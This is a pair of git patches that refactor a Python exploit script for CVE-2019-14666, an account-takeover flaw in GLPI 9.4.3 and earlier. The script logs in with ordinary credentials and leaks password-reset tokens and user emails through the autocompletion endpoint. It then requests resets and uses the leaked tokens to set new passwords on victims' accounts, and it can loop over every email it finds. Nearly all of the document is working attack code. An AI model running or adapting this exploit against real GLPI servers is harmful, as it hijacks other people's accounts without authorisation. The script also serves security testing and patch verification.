From 9cb385de16d785e2bada45ca43eec6cbf310cc54 Mon Sep 17 00:00:00 2001 From: n3rada <72791564+n3rada@users.noreply.github.com> Date: Mon, 28 Aug 2023 07:16:57 +0000 Subject: [PATCH 1/2] Huge refactoring --- 2019/CVE-2019-14666/CVE-2019-14666.py | 388 +++++++++++++++++--------- 1 file changed, 258 insertions(+), 130 deletions(-) diff --git a/2019/CVE-2019-14666/CVE-2019-14666.py b/2019/CVE-2019-14666/CVE-2019-14666.py index 6126c20..53942a6 100644 --- a/2019/CVE-2019-14666/CVE-2019-14666.py +++ b/2019/CVE-2019-14666/CVE-2019-14666.py @@ -1,157 +1,285 @@ -#!/usr/bin/env python +#!/usr/bin/env python3 + # # CVE-2019-14666 - Account takeover -# -# Software: GLPI <= 9.4.3 -# Author: Pablo Martinez (@xassiz) from BlackArrow +# Software: GLPI <= 9.4.3 # Details: https://github.com/blackarrowsec/advisories/tree/master/2019/CVE-2019-14666 -# Web: [www.blackarrow.net] - [www.tarlogic.com] # - +# Built-in imports import re -import sys import json import argparse -import requests + +# Third party library imports +import httpx + class GlpiBrowser: - def __init__(self, url, user, password): - self.url = url - self.user = user - self.password = password - - self.session = requests.Session() - self.session.verify = False - requests.packages.urllib3.disable_warnings() - - def extract_csrf(self, html): - return re.findall('name="_glpi_csrf_token" value="([a-f0-9]{32})"', html)[0] - - def get_login_data(self): - r = self.session.get('{0}'.format(self.url), allow_redirects=True) - - csrf_token = self.extract_csrf(r.text) - name_field = re.findall('name="(.*)" id="login_name"', r.text)[0] - pass_field = re.findall('name="(.*)" id="login_password"', r.text)[0] - - return name_field, pass_field, csrf_token - - def login(self): + def __init__(self, url: str, user: str, password: str): + """Initialize the browser with target URL and login credentials.""" + self.__url = url + self.__user = user + self.__password = password + + self.__client = httpx.Client( + http1=True, + verify=False, + headers={ + "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36" + }, + follow_redirects=False, + ) + + self.__logged_in = False + + print(f"[+] {self!s}") + + # Dunders + def __repr__(self) -> str: + """Return a machine-readable representation of the browser instance.""" + return f"" + + def __str__(self) -> str: + """Return a human-readable representation of the browser instance.""" + return f"GLPI Browser targeting {self.__url!r} with following credentials: {self.__user!r}:{self.__password!r}." + + # Public methods + def is_alive(self) -> bool: + """Check if the target GLPI instance is alive and responding.""" try: - name_field, pass_field, csrf_token = self.get_login_data() - except Exception as e: - print "[-] Login error: could not retrieve form data" - sys.exit(1) - - data = { - name_field: self.user, - pass_field: self.password, - "auth": "local", - "submit": "Post", - "_glpi_csrf_token": csrf_token - } - - r = self.session.post('{}/front/login.php'.format(self.url), data=data, allow_redirects=False) - - return r.status_code == 302 - - def get_data(self, itemtype, field, term=None): - params = { - "itemtype": itemtype, - "field": field, - "term": term if term else "" - } - - r = self.session.get('{}/ajax/autocompletion.php'.format(self.url), params=params) - - if r.status_code == 200: + self.__client.get(url=self.__url, timeout=3) + except Exception as error: + print(f"[-] Impossible to reach the target.") + print(f"[x] Root cause: {error}") + return False + else: + print(f"[+] Target is up and responding.") + return True + + def get_data(self, itemtype: str, field: str, term: str = None) -> list: + """ + Retrieve specific data from GLPI using the autocompletion endpoint. + + Args: + itemtype (str): The type of the item for which data is being fetched. + field (str): The specific field of the itemtype to query. + term (str, optional): Search term to narrow down the results. Defaults to None. + + Returns: + list: List of data if the request is successful and data is found, otherwise None. + """ + data_request = self.__client.get( + f"{self.__url}/ajax/autocompletion.php", + params={"itemtype": itemtype, "field": field, "term": term if term else ""}, + ) + if data_request.status_code == 200: try: - data = json.loads(r.text) + data = json.loads(data_request.text) except: return None - return data + else: + return data return None - - def get_forget_token(self): - return self.get_data('User', 'password_forget_token') - - def get_emails(self): - return self.get_data('UserEmail', 'email') - - def lost_password_request(self, email): - r = self.session.get('{0}/front/lostpassword.php'.format(self.url)) - try: - csrf_token = self.extract_csrf(r.text) - except Exception as e: - print "[-] Lost password error: could not retrieve form data" - sys.exit(1) - - data = { - "email": email, - "update": "Save", - "_glpi_csrf_token": csrf_token - } - - r = self.session.post('{}/front/lostpassword.php'.format(self.url), data=data) - return 'An email has been sent' in r.text - - def change_password(self, email, password, token): - r = self.session.get('{0}/front/lostpassword.php'.format(self.url), params={'password_forget_token': token}) - try: - csrf_token = self.extract_csrf(r.text) - except Exception as e: - print "[-] Change password error: could not retrieve form data" - sys.exit(1) - + + def login(self) -> bool: + """Attempt to login to the GLPI instance with provided credentials.""" + html_text = self.__client.get(url=self.__url).text + csrf_token = self.__extract_csrf(html=html_text) + name_field = re.search(r'name="(.*)" id="login_name"', html_text).group(1) + pass_field = re.search(r'name="(.*)" id="login_password"', html_text).group(1) + + login_request = self.__client.post( + url=f"{self.__url}/front/login.php", + data={ + name_field: self.__user, + pass_field: self.__password, + "auth": "local", + "submit": "Post", + "_glpi_csrf_token": csrf_token, + }, + ) + + is_good = login_request.status_code == 302 + if is_good: + print(f"[+] User {self.__user!r} is logged in.") + self.__logged_in = True + return True + self.__logged_in = False + return False + + def get_forget_token(self) -> list: + """Retrieve forgotten password tokens from GLPI.""" + if tokens := self.get_data("User", "password_forget_token"): + print(f"[+] Forgot tokens retrieved: {tokens}") + return tokens + + def get_emails(self) -> list: + """Retrieve emails associated with the GLPI users.""" + if emails := self.get_data("UserEmail", "email"): + print(f"[+] Emails retrieved: {emails}") + return emails + + def change_password(self, email: str, password: str, token: str) -> bool: + """ + Attempt to change the password for a given email using a specified token. + + Args: + email (str): The email address of the user for whom the password needs to be changed. + password (str): The new password to be set for the user. + token (str): The token used to authenticate the password change request. + + Returns: + bool: True if the password change was successful, False otherwise. + """ data = { "email": email, "password": password, "password2": password, "password_forget_token": token, "update": "Save", - "_glpi_csrf_token": csrf_token + "_glpi_csrf_token": self.__extract_csrf( + html=self.__client.get( + f"{self.__url}/front/lostpassword.php", + params={"password_forget_token": token}, + ).text + ), } - - r = self.session.post('{}/front/lostpassword.php'.format(self.url), data=data) - return 'Reset password successful' in r.text - - def pwn(self, email, password): - - if not self.login(): - print "[-] Login error" + + password_reset = self.__client.post( + "{}/front/lostpassword.php".format(self.__url), data=data + ) + + password_reset.raise_for_status() + if "Reset password successful" in password_reset.text: + print(f"[+] Password changed to: {password!r}") + return True + + return False + + def account_takeover(self, email: str = None, password: str = None) -> None: + """ + Perform an account takeover by exploiting the forgotten password tokens. + + This method starts by logging in with the provided credentials. If the login is + successful, it fetches any existing password forget tokens. If an email target + isn't specified, the method retrieves all associated emails and attempts a + takeover for each one. During the takeover attempt for a specific email, it tries + to initiate a password reset for that email address. If during this process a + new token is generated, it attempts to use this new token to reset the password + to the provided one or to a default if none was specified. + + Args: + email (str, optional): The target email address for the account takeover. + If not provided, the method will target all available emails. + password (str, optional): The desired new password to set during the takeover. + If not provided, a default password will be used. + + Returns: + None: This method does not return any value but prints out the status and results + of the takeover attempt. + """ + if email is None: + emails_retrieved = self.get_emails() + for email_ in emails_retrieved: + self.account_takeover(email=email_, password=password) return - + + print( + f"[*] Initiating takeover attempt for the account associated with email {email!r}..." + ) + + if not self.__logged_in: + self.login() + tokens = self.get_forget_token() if tokens is None: tokens = [] - - if email: - if not self.lost_password_request(email): - print "[-] Lost password error: could not request" - return - - new_tokens = self.get_forget_token() - - res = list(set(new_tokens) - set(tokens)) - if res: - for token in res: - if self.change_password(email, password, token): - print "[+] Password changed! ;)" - return - - -if __name__ == '__main__': - + + if not self.__resetting_password(email): + return + + new_tokens = self.get_forget_token() + + if new_tokens is None: + return + if res := list(set(new_tokens) - set(tokens)): + for token in res: + print(f"[*] Trying token {token}...") + if self.change_password(email, password, token): + return + + # Private methods + def __extract_csrf(self, html: str) -> str: + """ + Extract the CSRF token from the provided HTML content. + + Args: + html (str): The HTML content where the CSRF token should be present. + + Returns: + str: The extracted CSRF token if found, otherwise None. + """ + if match := re.search(r'name="_glpi_csrf_token" value="([a-f0-9]{32})"', html): + csrf = match.group(1) + return csrf + + def __resetting_password(self, email: str = None) -> bool: + """ + Initiate a password reset process for the provided email. + + This method sends a password reset request for the provided email + and checks if the reset request was successful. + + Args: + email (str, optional): The email address to initiate a password reset. + If not provided, no action is taken. + + Returns: + bool: True if the password reset request was successful (i.e., an email was sent), + otherwise False. + """ + if email is None: + return + lost_pwd_request = self.__client.post( + f"{self.__url}/front/lostpassword.php", + data={ + "email": email, + "update": "Save", + "_glpi_csrf_token": self.__extract_csrf( + self.__client.get(f"{self.__url}/front/lostpassword.php").text + ), + }, + ) + return "An email has been sent" in lost_pwd_request.text + + +def main(): parser = argparse.ArgumentParser() - parser.add_argument("--url", help="Target URL", required=True) - parser.add_argument("--user", help="Username", required=True) - parser.add_argument("--password", help="Password", required=True) - parser.add_argument("--email", help="Target email") - parser.add_argument("--newpass", help="New password") - - args = parser.parse_args() - - g = GlpiBrowser(args.url, user=args.user, password=args.password) - - g.pwn(args.email, args.newpass) + parser.add_argument("-t", "--target", help="Target URL.", required=True) + parser.add_argument("-u", "--user", help="Username.", required=True) + parser.add_argument("-p", "--password", help="Password.", required=True) + parser.add_argument( + "-e", "--email", help="Target email.", required=False, default=None + ) + parser.add_argument( + "-n", + "--new-password", + help="New password.", + required=False, + default="GPLit@k30v/r", + ) + + options = parser.parse_args() + + target = GlpiBrowser(options.target, user=options.user, password=options.password) + + if not target.is_alive(): + return + + target.login() + target.account_takeover(email=options.email, password=options.new_password) + + +if __name__ == "__main__": + main() From d3c4a8c89a9400b776365acc21b8500037ec9466 Mon Sep 17 00:00:00 2001 From: n3rada <72791564+n3rada@users.noreply.github.com> Date: Mon, 28 Aug 2023 07:39:10 +0000 Subject: [PATCH 2/2] Add a `if` --- 2019/CVE-2019-14666/CVE-2019-14666.py | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) diff --git a/2019/CVE-2019-14666/CVE-2019-14666.py b/2019/CVE-2019-14666/CVE-2019-14666.py index 53942a6..9a7126d 100644 --- a/2019/CVE-2019-14666/CVE-2019-14666.py +++ b/2019/CVE-2019-14666/CVE-2019-14666.py @@ -277,8 +277,8 @@ def main(): if not target.is_alive(): return - target.login() - target.account_takeover(email=options.email, password=options.new_password) + if target.login(): + target.account_takeover(email=options.email, password=options.new_password) if __name__ == "__main__":